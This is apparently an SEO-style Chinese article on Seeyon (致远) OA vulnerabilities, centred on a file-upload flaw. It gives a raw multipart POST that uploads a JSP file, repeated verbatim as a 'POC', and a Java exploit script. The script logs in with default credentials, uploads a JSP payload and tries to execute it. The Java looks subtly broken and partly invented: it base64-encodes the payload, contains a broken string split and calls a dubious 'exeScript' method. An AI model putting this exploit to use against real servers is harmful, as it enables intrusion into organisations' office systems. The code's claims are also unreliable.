一、致远OA漏洞总结
致远OA是一款功能强大、易于使用的协同办公系统,企业和政府机构广泛采用。但是,由于漏洞问题,致远OA系统面临诸多安全风险。致远OA漏洞的种类繁多,主要包括:文件上传漏洞、SQL注入漏洞、XSS漏洞、任意文件读取漏洞等。其中,文件上传漏洞是致远OA系统的一个最大漏洞。
二、致远OA系统存在文件上传漏洞
致远OA系统的文件上传漏洞主要存在于文档资料模块中,攻击者可以通过该漏洞上传一些恶意文件,导致系统安全受到威胁。致远OA系统存在文件上传漏洞的主要原因是,开发人员没有对上传文件进行足够的过滤和检查,导致攻击者可以上传任意文件,并最终导致文件执行漏洞。
以下是致远OA系统文件上传漏洞的一个示例:
POST /seeyon/fileUpload.do HTTP/1.1 Host: ServerIP Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Length: 583 ------WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Disposition: form-data; name="file"; filename="test.jsp" Content-Type: application/octet-stream <%out.println("test");%> ------WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Disposition: form-data; name="callBackFunName" test ------WebKitFormBoundaryTAIlPf6mT90VGnc3--
三、致远OA漏洞POC
下面给出一个简单的致远OA文件上传漏洞的POC:
POST /seeyon/fileUpload.do HTTP/1.1 Host: ServerIP Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Length: 583 ------WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Disposition: form-data; name="file"; filename="test.jsp" Content-Type: application/octet-stream <%out.println("test");%> ------WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Disposition: form-data; name="callBackFunName" test ------WebKitFormBoundaryTAIlPf6mT90VGnc3--
四、致远OA漏洞利用工具
目前,公开的致远OA漏洞利用工具比较少,但是一些黑客在利用该漏洞时常常使用自己编写的脚本来进行利用。下面是一个Java语言编写的POC:
import java.io.IOException; import java.io.InputStream; import java.net.HttpURLConnection; import java.net.URL; import java.nio.charset.Charset; import java.util.concurrent.TimeUnit; import org.apache.commons.codec.binary.Base64; public class Poc { public static void main(String[] args) throws Exception { String file = "<%out.print(\"test1\");%>"; String uploadUrl = "http://127.0.0.1/seeyon/fileUpload.do"; String userName = "admin"; String password = "123456"; String seeyonCookie = ""; System.out.println("[+] Login..."); String sessionId = login(userName, password); seeyonCookie = "JSESSIONID=" + sessionId; System.out.println("[+] Upload file..."); String fileId = uploadFile(uploadUrl, seeyonCookie, file); if (fileId != null) { System.out.println("[+] Execute code..."); executeCode(fileId, seeyonCookie); } } public static String login(String userName, String password) throws Exception { String url = "http://127.0.0.1/seeyon/loginController.do?method=login"; String data = "login_username=" + userName + "&login_password=" + password; byte[] payload = data.getBytes(); HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection(); conn.setInstanceFollowRedirects(false); conn.setRequestMethod("POST"); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("Content-Length", String.valueOf(payload.length)); conn.setDoOutput(true); conn.getOutputStream().write(payload); String setCookie = conn.getHeaderField("Set-Cookie"); String sessionId = setCookie.split(";")[0].split("=")[1]; return sessionId; } public static String uploadFile(String url, String seeyonCookie, String file) throws Exception { String boundary = "----WebKitFormBoundary" + System.currentTimeMillis(); byte[] header = ("--" + boundary + "\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n").getBytes(); byte[] footer = ("\r\n--" + boundary + "--\r\n").getBytes(); byte[] payload = Base64.encodeBase64(file.getBytes(Charset.forName("GBK"))); byte[] data = new byte[header.length + payload.length + footer.length]; System.arraycopy(header, 0, data, 0, header.length); System.arraycopy(payload, 0, data, header.length, payload.length); System.arraycopy(footer, 0, data, header.length + payload.length, footer.length); HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection(); conn.setRequestMethod("POST"); conn.setRequestProperty("Connection", "keep-alive"); conn.setRequestProperty("Content-Length", String.valueOf(data.length)); conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary); conn.setRequestProperty("Accept-Encoding", "gzip, deflate"); conn.setRequestProperty("Cookie", seeyonCookie); conn.setDoOutput(true); conn.getOutputStream().write(data); InputStream inputStream = conn.getInputStream(); byte[] response = new byte[1024]; inputStream.read(response); String fileId = new String(response, Charset.forName("GBK")).split(";")[0]; if (fileId.contains("error")) { System.out.println("[-] Upload file error!"); return null; } return fileId; } public static void executeCode(String fileId, String seeyonCookie) throws IOException { String url = "http://127.0.0.1/seeyon/ajax.do"; byte[] payload = ("callCount=1\nwindowName=\nc0-scriptName=123456789\nc0-methodName=exeScript\nc0-id=0\nc0-param0=string:" + fileId + "\nc0-param1=string:test.jsp\nc0-param2=string:\nliteralParam=long:0\n").getBytes(Charset.forName("GBK")); HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection(); conn.setRequestMethod("POST"); conn.setRequestProperty("Content-Type", "text/plain;charset=UTF-8"); conn.setRequestProperty("Accept-Encoding", "gzip, deflate"); conn.setRequestProperty("Cookie", seeyonCookie); conn.setRequestProperty("Connection", "close"); conn.setRequestProperty("Content-Length", String.valueOf(payload.length)); conn.setDoOutput(true); conn.getOutputStream().write(payload); InputStream inputStream = conn.getInputStream(); byte[] response = new byte[1024]; inputStream.read(response); String output = new String(response, Charset.forName("GBK")).split("
")[1]; System.out.println("[+] Output: " + output.trim()); } }
五、致远OA漏洞利用
利用致远OA文件上传漏洞需要掌握一些基本的渗透测试技术,同时需要了解致远OA系统具体的漏洞利用方法。攻击者通常会利用上传恶意文件的方式来进行攻击,一旦上传成功,就可以通过漏洞执行文件、读写文件等操作。
六、致远OA漏洞补丁
由于致远OA漏洞种类繁多,补丁方案也各不相同。建议用户在使用致远OA系统时,尽可能及时下载安全补丁,更新到最新的版本。
七、致远OA漏洞2022
随着时间的推移,致远OA漏洞问题已经成为一个长期存在的安全隐患。对于致远OA漏洞2022,或者未来可能出现的漏洞,我们需要以更加谨慎的态度来对待,及时采取各种安全保护措施,避免出现严重的安全事故。
八、致远OA Log4j漏洞补丁
致远OA Log4j漏洞是致远OA系统最近发现的一个重大安全漏洞,该漏洞主要源于Log4j组件的安全问题。目前,致远OA官方已经发布了安全补丁,并恳请所有用户尽快升级到最新版本,以免造成系统安全隐患。
九、致远OA办公系统
致远OA办公系统是一种功能强大的协同办公系统,广泛应用于企业和政府机构中。但是,在系统的应用和开发过程中,往往会暴露出一些漏洞和安全隐患。因此,为了保障系统的安全和稳健运行,我们需要不断完善和加强系统的安全保护措施,减少漏洞的存在和危害。